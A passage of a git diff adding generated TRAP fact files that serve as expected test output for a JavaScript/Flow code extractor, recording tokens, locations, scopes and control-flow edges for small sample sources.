+#20062=@"loc,{#10000},1,15,1,15" +locations_default(#20062,#10000,1,15,1,15) +hasLocation(#20061,#20062) +#20063=* +tokeninfo(#20063,8,#20001,6,")") +#20064=@"loc,{#10000},1,16,1,16" +locations_default(#20064,#10000,1,16,1,16) +hasLocation(#20063,#20064) +#20065=* +tokeninfo(#20065,8,#20001,7,"{") +#20066=@"loc,{#10000},1,18,1,18" +locations_default(#20066,#10000,1,18,1,18) +hasLocation(#20065,#20066) +#20067=* +tokeninfo(#20067,8,#20001,8,"}") +#20068=@"loc,{#10000},1,19,1,19" +locations_default(#20068,#10000,1,19,1,19) +hasLocation(#20067,#20068) +#20069=* +tokeninfo(#20069,7,#20001,9,"function") +#20070=@"loc,{#10000},2,1,2,8" +locations_default(#20070,#10000,2,1,2,8) +hasLocation(#20069,#20070) +#20071=* +tokeninfo(#20071,6,#20001,10,"f") +hasLocation(#20071,#20018) +#20072=* +tokeninfo(#20072,8,#20001,11,"(") +#20073=@"loc,{#10000},2,11,2,11" +locations_default(#20073,#10000,2,11,2,11) +hasLocation(#20072,#20073) +#20074=* +tokeninfo(#20074,6,#20001,12,"p") +#20075=@"loc,{#10000},2,12,2,12" +locations_default(#20075,#10000,2,12,2,12) +hasLocation(#20074,#20075) +#20076=* +tokeninfo(#20076,8,#20001,13,":") +#20077=@"loc,{#10000},2,13,2,13" +locations_default(#20077,#10000,2,13,2,13) +hasLocation(#20076,#20077) +#20078=* +tokeninfo(#20078,6,#20001,14,"T") +#20079=@"loc,{#10000},2,15,2,15" +locations_default(#20079,#10000,2,15,2,15) +hasLocation(#20078,#20079) +#20080=* +tokeninfo(#20080,8,#20001,15,"[") +#20081=@"loc,{#10000},2,16,2,16" +locations_default(#20081,#10000,2,16,2,16) +hasLocation(#20080,#20081) +#20082=* +tokeninfo(#20082,8,#20001,16,"]") +#20083=@"loc,{#10000},2,17,2,17" +locations_default(#20083,#10000,2,17,2,17) +hasLocation(#20082,#20083) +#20084=* +tokeninfo(#20084,8,#20001,17,")") +#20085=@"loc,{#10000},2,18,2,18" +locations_default(#20085,#10000,2,18,2,18) +hasLocation(#20084,#20085) +#20086=* +tokeninfo(#20086,8,#20001,18,"{") +#20087=@"loc,{#10000},2,20,2,20" +locations_default(#20087,#10000,2,20,2,20) +hasLocation(#20086,#20087) +#20088=* +tokeninfo(#20088,8,#20001,19,"}") +#20089=@"loc,{#10000},2,21,2,21" +locations_default(#20089,#10000,2,21,2,21) +hasLocation(#20088,#20089) +#20090=* +tokeninfo(#20090,7,#20001,20,"function") +#20091=@"loc,{#10000},3,1,3,8" +locations_default(#20091,#10000,3,1,3,8) +hasLocation(#20090,#20091) +#20092=* +tokeninfo(#20092,6,#20001,21,"f") +hasLocation(#20092,#20029) +#20093=* +tokeninfo(#20093,8,#20001,22,"(") +#20094=@"loc,{#10000},3,11,3,11" +locations_default(#20094,#10000,3,11,3,11) +hasLocation(#20093,#20094) +#20095=* +tokeninfo(#20095,6,#20001,23,"p") +#20096=@"loc,{#10000},3,12,3,12" +locations_default(#20096,#10000,3,12,3,12) +hasLocation(#20095,#20096) +#20097=* +tokeninfo(#20097,8,#20001,24,":") +#20098=@"loc,{#10000},3,13,3,13" +locations_default(#20098,#10000,3,13,3,13) +hasLocation(#20097,#20098) +#20099=* +tokeninfo(#20099,6,#20001,25,"T") +#20100=@"loc,{#10000},3,15,3,15" +locations_default(#20100,#10000,3,15,3,15) +hasLocation(#20099,#20100) +#20101=* +tokeninfo(#20101,8,#20001,26,"[") +#20102=@"loc,{#10000},3,16,3,16" +locations_default(#20102,#10000,3,16,3,16) +hasLocation(#20101,#20102) +#20103=* +tokeninfo(#20103,8,#20001,27,"]") +#20104=@"loc,{#10000},3,17,3,17" +locations_default(#20104,#10000,3,17,3,17) +hasLocation(#20103,#20104) +#20105=* +tokeninfo(#20105,8,#20001,28,"[") +#20106=@"loc,{#10000},3,18,3,18" +locations_default(#20106,#10000,3,18,3,18) +hasLocation(#20105,#20106) +#20107=* +tokeninfo(#20107,8,#20001,29,"]") +#20108=@"loc,{#10000},3,19,3,19" +locations_default(#20108,#10000,3,19,3,19) +hasLocation(#20107,#20108) +#20109=* +tokeninfo(#20109,8,#20001,30,")") +#20110=@"loc,{#10000},3,20,3,20" +locations_default(#20110,#10000,3,20,3,20) +hasLocation(#20109,#20110) +#20111=* +tokeninfo(#20111,8,#20001,31,"{") +#20112=@"loc,{#10000},3,22,3,22" +locations_default(#20112,#10000,3,22,3,22) +hasLocation(#20111,#20112) +#20113=* +tokeninfo(#20113,8,#20001,32,"}") +#20114=@"loc,{#10000},3,23,3,23" +locations_default(#20114,#10000,3,23,3,23) +hasLocation(#20113,#20114) +#20115=* +tokeninfo(#20115,7,#20001,33,"function") +#20116=@"loc,{#10000},4,1,4,8" +locations_default(#20116,#10000,4,1,4,8) +hasLocation(#20115,#20116) +#20117=* +tokeninfo(#20117,6,#20001,34,"f") +hasLocation(#20117,#20040) +#20118=* +tokeninfo(#20118,8,#20001,35,"(") +#20119=@"loc,{#10000},4,11,4,11" +locations_default(#20119,#10000,4,11,4,11) +hasLocation(#20118,#20119) +#20120=* +tokeninfo(#20120,6,#20001,36,"p") +#20121=@"loc,{#10000},4,12,4,12" +locations_default(#20121,#10000,4,12,4,12) +hasLocation(#20120,#20121) +#20122=* +tokeninfo(#20122,8,#20001,37,":") +#20123=@"loc,{#10000},4,13,4,13" +locations_default(#20123,#10000,4,13,4,13) +hasLocation(#20122,#20123) +#20124=* +tokeninfo(#20124,6,#20001,38,"T") +#20125=@"loc,{#10000},4,15,4,15" +locations_default(#20125,#10000,4,15,4,15) +hasLocation(#20124,#20125) +#20126=* +tokeninfo(#20126,8,#20001,39,"[") +#20127=@"loc,{#10000},4,16,4,16" +locations_default(#20127,#10000,4,16,4,16) +hasLocation(#20126,#20127) +#20128=* +tokeninfo(#20128,8,#20001,40,"]") +#20129=@"loc,{#10000},4,17,4,17" +locations_default(#20129,#10000,4,17,4,17) +hasLocation(#20128,#20129) +#20130=* +tokeninfo(#20130,8,#20001,41,"[") +#20131=@"loc,{#10000},4,18,4,18" +locations_default(#20131,#10000,4,18,4,18) +hasLocation(#20130,#20131) +#20132=* +tokeninfo(#20132,8,#20001,42,"]") +#20133=@"loc,{#10000},4,19,4,19" +locations_default(#20133,#10000,4,19,4,19) +hasLocation(#20132,#20133) +#20134=* +tokeninfo(#20134,8,#20001,43,"[") +#20135=@"loc,{#10000},4,20,4,20" +locations_default(#20135,#10000,4,20,4,20) +hasLocation(#20134,#20135) +#20136=* +tokeninfo(#20136,8,#20001,44,"]") +#20137=@"loc,{#10000},4,21,4,21" +locations_default(#20137,#10000,4,21,4,21) +hasLocation(#20136,#20137) +#20138=* +tokeninfo(#20138,8,#20001,45,")") +#20139=@"loc,{#10000},4,22,4,22" +locations_default(#20139,#10000,4,22,4,22) +hasLocation(#20138,#20139) +#20140=* +tokeninfo(#20140,8,#20001,46,"{") +#20141=@"loc,{#10000},4,24,4,24" +locations_default(#20141,#10000,4,24,4,24) +hasLocation(#20140,#20141) +#20142=* +tokeninfo(#20142,8,#20001,47,"}") +#20143=@"loc,{#10000},4,25,4,25" +locations_default(#20143,#10000,4,25,4,25) +hasLocation(#20142,#20143) +#20144=* +tokeninfo(#20144,0,#20001,48,"") +#20145=@"loc,{#10000},5,1,5,0" +locations_default(#20145,#10000,5,1,5,0) +hasLocation(#20144,#20145) +#20146=* +entry_cfg_node(#20146,#20001) +#20147=@"loc,{#10000},1,1,1,0" +locations_default(#20147,#10000,1,1,1,0) +hasLocation(#20146,#20147) +#20148=* +exit_cfg_node(#20148,#20001) +hasLocation(#20148,#20145) +successor(#20037,#20148) +#20149=* +entry_cfg_node(#20149,#20037) +#20150=@"loc,{#10000},4,1,4,0" +locations_default(#20150,#10000,4,1,4,0) +hasLocation(#20149,#20150) +#20151=* +exit_cfg_node(#20151,#20037) +#20152=@"loc,{#10000},4,26,4,25" +locations_default(#20152,#10000,4,26,4,25) +hasLocation(#20151,#20152) +successor(#20046,#20151) +successor(#20043,#20046) +successor(#20149,#20043) +successor(#20026,#20037) +#20153=* +entry_cfg_node(#20153,#20026) +#20154=@"loc,{#10000},3,1,3,0" +locations_default(#20154,#10000,3,1,3,0) +hasLocation(#20153,#20154) +#20155=* +exit_cfg_node(#20155,#20026) +#20156=@"loc,{#10000},3,24,3,23" +locations_default(#20156,#10000,3,24,3,23) +hasLocation(#20155,#20156) +successor(#20035,#20155) +successor(#20032,#20035) +successor(#20153,#20032) +successor(#20015,#20026) +#20157=* +entry_cfg_node(#20157,#20015) +#20158=@"loc,{#10000},2,1,2,0" +locations_default(#20158,#10000,2,1,2,0) +hasLocation(#20157,#20158) +#20159=* +exit_cfg_node(#20159,#20015) +#20160=@"loc,{#10000},2,22,2,21" +locations_default(#20160,#10000,2,22,2,21) +hasLocation(#20159,#20160) +successor(#20024,#20159) +successor(#20021,#20024) +successor(#20157,#20021) +successor(#20004,#20015) +#20161=* +entry_cfg_node(#20161,#20004) +hasLocation(#20161,#20147) +#20162=* +exit_cfg_node(#20162,#20004) +#20163=@"loc,{#10000},1,20,1,19" +locations_default(#20163,#10000,1,20,1,19) +hasLocation(#20162,#20163) +successor(#20013,#20162) +successor(#20010,#20013) +successor(#20161,#20010) +successor(#20039,#20004) +successor(#20028,#20039) +successor(#20017,#20028) +successor(#20006,#20017) +successor(#20146,#20006) +numlines(#10000,4,4,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/flow/output/trap/declared-module-imports.js.trap b/javascript/extractor/tests/flow/output/trap/declared-module-imports.js.trap new file mode 100644 index 00000000000..d341a31f757 --- /dev/null +++ b/javascript/extractor/tests/flow/output/trap/declared-module-imports.js.trap @@ -0,0 +1,146 @@ +#10000=@"/declared-module-imports.js;sourcefile" +files(#10000,"/declared-module-imports.js","declared-module-imports","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,5,0" +locations_default(#20002,#10000,1,1,5,0) +hasLocation(#20001,#20002) +#20003=@"module;{#10000},1,1" +scopes(#20003,3) +scopenodes(#20001,#20003) +scopenesting(#20003,#20000) +isModule(#20001) +#20004=* +lines(#20004,#20001,"declare module ""m1"" {"," +") +#20005=@"loc,{#10000},1,1,1,21" +locations_default(#20005,#10000,1,1,1,21) +hasLocation(#20004,#20005) +#20006=* +lines(#20006,#20001," import type t from ""m2"";"," +") +#20007=@"loc,{#10000},2,1,2,26" +locations_default(#20007,#10000,2,1,2,26) +hasLocation(#20006,#20007) +indentation(#10000,2," ",2) +#20008=* +lines(#20008,#20001," import typeof t from ""m3"";"," +") +#20009=@"loc,{#10000},3,1,3,28" +locations_default(#20009,#10000,3,1,3,28) +hasLocation(#20008,#20009) +indentation(#10000,3," ",2) +#20010=* +lines(#20010,#20001,"}"," +") +#20011=@"loc,{#10000},4,1,4,1" +locations_default(#20011,#10000,4,1,4,1) +hasLocation(#20010,#20011) +numlines(#20001,4,4,0) +#20012=* +tokeninfo(#20012,6,#20001,0,"declare") +#20013=@"loc,{#10000},1,1,1,7" +locations_default(#20013,#10000,1,1,1,7) +hasLocation(#20012,#20013) +#20014=* +tokeninfo(#20014,6,#20001,1,"module") +#20015=@"loc,{#10000},1,9,1,14" +locations_default(#20015,#10000,1,9,1,14) +hasLocation(#20014,#20015) +#20016=* +tokeninfo(#20016,4,#20001,2,"""m1""") +#20017=@"loc,{#10000},1,16,1,19" +locations_default(#20017,#10000,1,16,1,19) +hasLocation(#20016,#20017) +#20018=* +tokeninfo(#20018,8,#20001,3,"{") +#20019=@"loc,{#10000},1,21,1,21" +locations_default(#20019,#10000,1,21,1,21) +hasLocation(#20018,#20019) +#20020=* +tokeninfo(#20020,7,#20001,4,"import") +#20021=@"loc,{#10000},2,3,2,8" +locations_default(#20021,#10000,2,3,2,8) +hasLocation(#20020,#20021) +#20022=* +tokeninfo(#20022,6,#20001,5,"type") +#20023=@"loc,{#10000},2,10,2,13" +locations_default(#20023,#10000,2,10,2,13) +hasLocation(#20022,#20023) +#20024=* +tokeninfo(#20024,6,#20001,6,"t") +#20025=@"loc,{#10000},2,15,2,15" +locations_default(#20025,#10000,2,15,2,15) +hasLocation(#20024,#20025) +#20026=* +tokeninfo(#20026,6,#20001,7,"from") +#20027=@"loc,{#10000},2,17,2,20" +locations_default(#20027,#10000,2,17,2,20) +hasLocation(#20026,#20027) +#20028=* +tokeninfo(#20028,4,#20001,8,"""m2""") +#20029=@"loc,{#10000},2,22,2,25" +locations_default(#20029,#10000,2,22,2,25) +hasLocation(#20028,#20029) +#20030=* +tokeninfo(#20030,8,#20001,9,";") +#20031=@"loc,{#10000},2,26,2,26" +locations_default(#20031,#10000,2,26,2,26) +hasLocation(#20030,#20031) +#20032=* +tokeninfo(#20032,7,#20001,10,"import") +#20033=@"loc,{#10000},3,3,3,8" +locations_default(#20033,#10000,3,3,3,8) +hasLocation(#20032,#20033) +#20034=* +tokeninfo(#20034,7,#20001,11,"typeof") +#20035=@"loc,{#10000},3,10,3,15" +locations_default(#20035,#10000,3,10,3,15) +hasLocation(#20034,#20035) +#20036=* +tokeninfo(#20036,6,#20001,12,"t") +#20037=@"loc,{#10000},3,17,3,17" +locations_default(#20037,#10000,3,17,3,17) +hasLocation(#20036,#20037) +#20038=* +tokeninfo(#20038,6,#20001,13,"from") +#20039=@"loc,{#10000},3,19,3,22" +locations_default(#20039,#10000,3,19,3,22) +hasLocation(#20038,#20039) +#20040=* +tokeninfo(#20040,4,#20001,14,"""m3""") +#20041=@"loc,{#10000},3,24,3,27" +locations_default(#20041,#10000,3,24,3,27) +hasLocation(#20040,#20041) +#20042=* +tokeninfo(#20042,8,#20001,15,";") +#20043=@"loc,{#10000},3,28,3,28" +locations_default(#20043,#10000,3,28,3,28) +hasLocation(#20042,#20043) +#20044=* +tokeninfo(#20044,8,#20001,16,"}") +hasLocation(#20044,#20011) +#20045=* +tokeninfo(#20045,0,#20001,17,"") +#20046=@"loc,{#10000},5,1,5,0" +locations_default(#20046,#10000,5,1,5,0) +hasLocation(#20045,#20046) +#20047=* +entry_cfg_node(#20047,#20001) +#20048=@"loc,{#10000},1,1,1,0" +locations_default(#20048,#10000,1,1,1,0) +hasLocation(#20047,#20048) +#20049=* +exit_cfg_node(#20049,#20001) +hasLocation(#20049,#20046) +successor(#20047,#20049) +numlines(#10000,4,4,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/flow/output/trap/get-set-methods.js.trap b/javascript/extractor/tests/flow/output/trap/get-set-methods.js.trap new file mode 100644 index 00000000000..b179d7ec365 --- /dev/null +++ b/javascript/extractor/tests/flow/output/trap/get-set-methods.js.trap @@ -0,0 +1,368 @@ +#10000=@"/get-set-methods.js;sourcefile" +files(#10000,"/get-set-methods.js","get-set-methods","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,5,0" +locations_default(#20002,#10000,1,1,5,0) +hasLocation(#20001,#20002) +#20003=@"var;{C};{#20000}" +variables(#20003,"C",#20000) +#20004=@"local_type_name;{C};{#20000}" +local_type_names(#20004,"C",#20000) +#20005=* +stmts(#20005,26,#20001,0,"class C ... ) { }\n}") +#20006=@"loc,{#10000},1,1,4,1" +locations_default(#20006,#10000,1,1,4,1) +hasLocation(#20005,#20006) +stmtContainers(#20005,#20001) +#20007=* +exprs(#20007,78,#20005,0,"C") +#20008=@"loc,{#10000},1,7,1,7" +locations_default(#20008,#10000,1,7,1,7) +hasLocation(#20007,#20008) +enclosingStmt(#20007,#20005) +exprContainers(#20007,#20001) +literals("C","C",#20007) +decl(#20007,#20003) +typedecl(#20007,#20004) +#20009=* +scopes(#20009,10) +scopenodes(#20005,#20009) +scopenesting(#20009,#20000) +#20010=* +properties(#20010,#20005,2,0,"get(v: T) { }") +#20011=@"loc,{#10000},2,5,2,20" +locations_default(#20011,#10000,2,5,2,20) +hasLocation(#20010,#20011) +#20012=* +exprs(#20012,0,#20010,0,"get") +#20013=@"loc,{#10000},2,5,2,7" +locations_default(#20013,#10000,2,5,2,7) +hasLocation(#20012,#20013) +enclosingStmt(#20012,#20005) +exprContainers(#20012,#20001) +literals("get","get",#20012) +#20014=* +exprs(#20014,9,#20010,1,"(v: T) { }") +#20015=@"loc,{#10000},2,11,2,20" +locations_default(#20015,#10000,2,11,2,20) +hasLocation(#20014,#20015) +enclosingStmt(#20014,#20005) +exprContainers(#20014,#20001) +#20016=* +scopes(#20016,1) +scopenodes(#20014,#20016) +scopenesting(#20016,#20009) +#20017=@"var;{v};{#20016}" +variables(#20017,"v",#20016) +#20018=* +exprs(#20018,78,#20014,0,"v: T") +#20019=@"loc,{#10000},2,12,2,15" +locations_default(#20019,#10000,2,12,2,15) +hasLocation(#20018,#20019) +exprContainers(#20018,#20014) +literals("v","v",#20018) +decl(#20018,#20017) +#20020=@"var;{arguments};{#20016}" +variables(#20020,"arguments",#20016) +isArgumentsObject(#20020) +#20021=* +stmts(#20021,1,#20014,-2,"{ }") +#20022=@"loc,{#10000},2,18,2,20" +locations_default(#20022,#10000,2,18,2,20) +hasLocation(#20021,#20022) +stmtContainers(#20021,#20014) +numlines(#20014,1,1,0) +isMethod(#20010) +#20023=* +properties(#20023,#20005,3,0,"set(v: T) { }") +#20024=@"loc,{#10000},3,5,3,20" +locations_default(#20024,#10000,3,5,3,20) +hasLocation(#20023,#20024) +#20025=* +exprs(#20025,0,#20023,0,"set") +#20026=@"loc,{#10000},3,5,3,7" +locations_default(#20026,#10000,3,5,3,7) +hasLocation(#20025,#20026) +enclosingStmt(#20025,#20005) +exprContainers(#20025,#20001) +literals("set","set",#20025) +#20027=* +exprs(#20027,9,#20023,1,"(v: T) { }") +#20028=@"loc,{#10000},3,11,3,20" +locations_default(#20028,#10000,3,11,3,20) +hasLocation(#20027,#20028) +enclosingStmt(#20027,#20005) +exprContainers(#20027,#20001) +#20029=* +scopes(#20029,1) +scopenodes(#20027,#20029) +scopenesting(#20029,#20009) +#20030=@"var;{v};{#20029}" +variables(#20030,"v",#20029) +#20031=* +exprs(#20031,78,#20027,0,"v: T") +#20032=@"loc,{#10000},3,12,3,15" +locations_default(#20032,#10000,3,12,3,15) +hasLocation(#20031,#20032) +exprContainers(#20031,#20027) +literals("v","v",#20031) +decl(#20031,#20030) +#20033=@"var;{arguments};{#20029}" +variables(#20033,"arguments",#20029) +isArgumentsObject(#20033) +#20034=* +stmts(#20034,1,#20027,-2,"{ }") +#20035=@"loc,{#10000},3,18,3,20" +locations_default(#20035,#10000,3,18,3,20) +hasLocation(#20034,#20035) +stmtContainers(#20034,#20027) +numlines(#20027,1,1,0) +isMethod(#20023) +#20036=* +properties(#20036,#20005,4,0,"constructor() {}") +#20037=@"loc,{#10000},1,9,1,8" +locations_default(#20037,#10000,1,9,1,8) +hasLocation(#20036,#20037) +#20038=* +exprs(#20038,0,#20036,0,"constructor") +hasLocation(#20038,#20037) +enclosingStmt(#20038,#20005) +exprContainers(#20038,#20001) +literals("constructor","constructor",#20038) +#20039=* +exprs(#20039,9,#20036,1,"() {}") +hasLocation(#20039,#20037) +enclosingStmt(#20039,#20005) +exprContainers(#20039,#20001) +#20040=* +scopes(#20040,1) +scopenodes(#20039,#20040) +scopenesting(#20040,#20009) +#20041=@"var;{arguments};{#20040}" +variables(#20041,"arguments",#20040) +isArgumentsObject(#20041) +#20042=* +stmts(#20042,1,#20039,-2,"{}") +hasLocation(#20042,#20037) +stmtContainers(#20042,#20039) +numlines(#20039,1,0,0) +isMethod(#20036) +#20043=* +lines(#20043,#20001,"class C {"," +") +#20044=@"loc,{#10000},1,1,1,9" +locations_default(#20044,#10000,1,1,1,9) +hasLocation(#20043,#20044) +#20045=* +lines(#20045,#20001," get(v: T) { }"," +") +#20046=@"loc,{#10000},2,1,2,20" +locations_default(#20046,#10000,2,1,2,20) +hasLocation(#20045,#20046) +indentation(#10000,2," ",4) +#20047=* +lines(#20047,#20001," set(v: T) { }"," +") +#20048=@"loc,{#10000},3,1,3,20" +locations_default(#20048,#10000,3,1,3,20) +hasLocation(#20047,#20048) +indentation(#10000,3," ",4) +#20049=* +lines(#20049,#20001,"}"," +") +#20050=@"loc,{#10000},4,1,4,1" +locations_default(#20050,#10000,4,1,4,1) +hasLocation(#20049,#20050) +numlines(#20001,4,4,0) +#20051=* +tokeninfo(#20051,7,#20001,0,"class") +#20052=@"loc,{#10000},1,1,1,5" +locations_default(#20052,#10000,1,1,1,5) +hasLocation(#20051,#20052) +#20053=* +tokeninfo(#20053,6,#20001,1,"C") +hasLocation(#20053,#20008) +#20054=* +tokeninfo(#20054,8,#20001,2,"{") +#20055=@"loc,{#10000},1,9,1,9" +locations_default(#20055,#10000,1,9,1,9) +hasLocation(#20054,#20055) +#20056=* +tokeninfo(#20056,6,#20001,3,"get") +hasLocation(#20056,#20013) +#20057=* +tokeninfo(#20057,8,#20001,4,"<") +#20058=@"loc,{#10000},2,8,2,8" +locations_default(#20058,#10000,2,8,2,8) +hasLocation(#20057,#20058) +#20059=* +tokeninfo(#20059,6,#20001,5,"T") +#20060=@"loc,{#10000},2,9,2,9" +locations_default(#20060,#10000,2,9,2,9) +hasLocation(#20059,#20060) +#20061=* +tokeninfo(#20061,8,#20001,6,">") +#20062=@"loc,{#10000},2,10,2,10" +locations_default(#20062,#10000,2,10,2,10) +hasLocation(#20061,#20062) +#20063=* +tokeninfo(#20063,8,#20001,7,"(") +#20064=@"loc,{#10000},2,11,2,11" +locations_default(#20064,#10000,2,11,2,11) +hasLocation(#20063,#20064) +#20065=* +tokeninfo(#20065,6,#20001,8,"v") +#20066=@"loc,{#10000},2,12,2,12" +locations_default(#20066,#10000,2,12,2,12) +hasLocation(#20065,#20066) +#20067=* +tokeninfo(#20067,8,#20001,9,":") +#20068=@"loc,{#10000},2,13,2,13" +locations_default(#20068,#10000,2,13,2,13) +hasLocation(#20067,#20068) +#20069=* +tokeninfo(#20069,6,#20001,10,"T") +#20070=@"loc,{#10000},2,15,2,15" +locations_default(#20070,#10000,2,15,2,15) +hasLocation(#20069,#20070) +#20071=* +tokeninfo(#20071,8,#20001,11,")") +#20072=@"loc,{#10000},2,16,2,16" +locations_default(#20072,#10000,2,16,2,16) +hasLocation(#20071,#20072) +#20073=* +tokeninfo(#20073,8,#20001,12,"{") +#20074=@"loc,{#10000},2,18,2,18" +locations_default(#20074,#10000,2,18,2,18) +hasLocation(#20073,#20074) +#20075=* +tokeninfo(#20075,8,#20001,13,"}") +#20076=@"loc,{#10000},2,20,2,20" +locations_default(#20076,#10000,2,20,2,20) +hasLocation(#20075,#20076) +#20077=* +tokeninfo(#20077,6,#20001,14,"set") +hasLocation(#20077,#20026) +#20078=* +tokeninfo(#20078,8,#20001,15,"<") +#20079=@"loc,{#10000},3,8,3,8" +locations_default(#20079,#10000,3,8,3,8) +hasLocation(#20078,#20079) +#20080=* +tokeninfo(#20080,6,#20001,16,"T") +#20081=@"loc,{#10000},3,9,3,9" +locations_default(#20081,#10000,3,9,3,9) +hasLocation(#20080,#20081) +#20082=* +tokeninfo(#20082,8,#20001,17,">") +#20083=@"loc,{#10000},3,10,3,10" +locations_default(#20083,#10000,3,10,3,10) +hasLocation(#20082,#20083) +#20084=* +tokeninfo(#20084,8,#20001,18,"(") +#20085=@"loc,{#10000},3,11,3,11" +locations_default(#20085,#10000,3,11,3,11) +hasLocation(#20084,#20085) +#20086=* +tokeninfo(#20086,6,#20001,19,"v") +#20087=@"loc,{#10000},3,12,3,12" +locations_default(#20087,#10000,3,12,3,12) +hasLocation(#20086,#20087) +#20088=* +tokeninfo(#20088,8,#20001,20,":") +#20089=@"loc,{#10000},3,13,3,13" +locations_default(#20089,#10000,3,13,3,13) +hasLocation(#20088,#20089) +#20090=* +tokeninfo(#20090,6,#20001,21,"T") +#20091=@"loc,{#10000},3,15,3,15" +locations_default(#20091,#10000,3,15,3,15) +hasLocation(#20090,#20091) +#20092=* +tokeninfo(#20092,8,#20001,22,")") +#20093=@"loc,{#10000},3,16,3,16" +locations_default(#20093,#10000,3,16,3,16) +hasLocation(#20092,#20093) +#20094=* +tokeninfo(#20094,8,#20001,23,"{") +#20095=@"loc,{#10000},3,18,3,18" +locations_default(#20095,#10000,3,18,3,18) +hasLocation(#20094,#20095) +#20096=* +tokeninfo(#20096,8,#20001,24,"}") +#20097=@"loc,{#10000},3,20,3,20" +locations_default(#20097,#10000,3,20,3,20) +hasLocation(#20096,#20097) +#20098=* +tokeninfo(#20098,8,#20001,25,"}") +hasLocation(#20098,#20050) +#20099=* +tokeninfo(#20099,0,#20001,26,"") +#20100=@"loc,{#10000},5,1,5,0" +locations_default(#20100,#10000,5,1,5,0) +hasLocation(#20099,#20100) +#20101=* +entry_cfg_node(#20101,#20001) +#20102=@"loc,{#10000},1,1,1,0" +locations_default(#20102,#10000,1,1,1,0) +hasLocation(#20101,#20102) +#20103=* +exit_cfg_node(#20103,#20001) +hasLocation(#20103,#20100) +successor(#20039,#20036) +#20104=* +entry_cfg_node(#20104,#20039) +hasLocation(#20104,#20037) +#20105=* +exit_cfg_node(#20105,#20039) +hasLocation(#20105,#20037) +successor(#20042,#20105) +successor(#20104,#20042) +successor(#20038,#20039) +successor(#20036,#20005) +successor(#20027,#20023) +#20106=* +entry_cfg_node(#20106,#20027) +#20107=@"loc,{#10000},3,11,3,10" +locations_default(#20107,#10000,3,11,3,10) +hasLocation(#20106,#20107) +#20108=* +exit_cfg_node(#20108,#20027) +#20109=@"loc,{#10000},3,21,3,20" +locations_default(#20109,#10000,3,21,3,20) +hasLocation(#20108,#20109) +successor(#20034,#20108) +successor(#20031,#20034) +successor(#20106,#20031) +successor(#20025,#20027) +successor(#20023,#20038) +successor(#20014,#20010) +#20110=* +entry_cfg_node(#20110,#20014) +#20111=@"loc,{#10000},2,11,2,10" +locations_default(#20111,#10000,2,11,2,10) +hasLocation(#20110,#20111) +#20112=* +exit_cfg_node(#20112,#20014) +#20113=@"loc,{#10000},2,21,2,20" +locations_default(#20113,#10000,2,21,2,20) +hasLocation(#20112,#20113) +successor(#20021,#20112) +successor(#20018,#20021) +successor(#20110,#20018) +successor(#20012,#20014) +successor(#20010,#20025) +successor(#20007,#20012) +successor(#20005,#20103) +successor(#20101,#20007) +numlines(#10000,4,4,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/flow/output/trap/predicate-function-annotation.js.trap b/javascript/extractor/tests/flow/output/trap/predicate-function-annotation.js.trap new file mode 100644 index 00000000000..11b134ed091 --- /dev/null +++ b/javascript/extractor/tests/flow/output/trap/predicate-function-annotation.js.trap @@ -0,0 +1,539 @@ +#10000=@"/predicate-function-annotation.js;sourcefile" +files(#10000,"/predicate-function-annotation.js","predicate-function-annotation","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,10,0" +locations_default(#20002,#10000,1,1,10,0) +hasLocation(#20001,#20002) +#20003=@"var;{f};{#20000}" +variables(#20003,"f",#20000) +#20004=@"var;{g};{#20000}" +variables(#20004,"g",#20000) +#20005=* +stmts(#20005,17,#20001,0,"functio ... rn a;\n}") +#20006=@"loc,{#10000},1,1,3,1" +locations_default(#20006,#10000,1,1,3,1) +hasLocation(#20005,#20006) +stmtContainers(#20005,#20001) +#20007=* +exprs(#20007,78,#20005,-1,"f") +#20008=@"loc,{#10000},1,10,1,10" +locations_default(#20008,#10000,1,10,1,10) +hasLocation(#20007,#20008) +exprContainers(#20007,#20005) +literals("f","f",#20007) +decl(#20007,#20003) +#20009=* +scopes(#20009,1) +scopenodes(#20005,#20009) +scopenesting(#20009,#20000) +#20010=@"var;{a};{#20009}" +variables(#20010,"a",#20009) +#20011=* +exprs(#20011,78,#20005,0,"a") +#20012=@"loc,{#10000},1,12,1,12" +locations_default(#20012,#10000,1,12,1,12) +hasLocation(#20011,#20012) +exprContainers(#20011,#20005) +literals("a","a",#20011) +decl(#20011,#20010) +#20013=@"var;{arguments};{#20009}" +variables(#20013,"arguments",#20009) +isArgumentsObject(#20013) +#20014=* +stmts(#20014,1,#20005,-2,"{\n return a;\n}") +#20015=@"loc,{#10000},1,32,3,1" +locations_default(#20015,#10000,1,32,3,1) +hasLocation(#20014,#20015) +stmtContainers(#20014,#20005) +#20016=* +stmts(#20016,9,#20014,0,"return a;") +#20017=@"loc,{#10000},2,5,2,13" +locations_default(#20017,#10000,2,5,2,13) +hasLocation(#20016,#20017) +stmtContainers(#20016,#20005) +#20018=* +exprs(#20018,79,#20016,0,"a") +#20019=@"loc,{#10000},2,12,2,12" +locations_default(#20019,#10000,2,12,2,12) +hasLocation(#20018,#20019) +enclosingStmt(#20018,#20016) +exprContainers(#20018,#20005) +literals("a","a",#20018) +bind(#20018,#20010) +numlines(#20005,3,3,0) +#20020=* +stmts(#20020,17,#20001,1,"functio ... ecks {}") +#20021=@"loc,{#10000},4,1,4,24" +locations_default(#20021,#10000,4,1,4,24) +hasLocation(#20020,#20021) +stmtContainers(#20020,#20001) +#20022=* 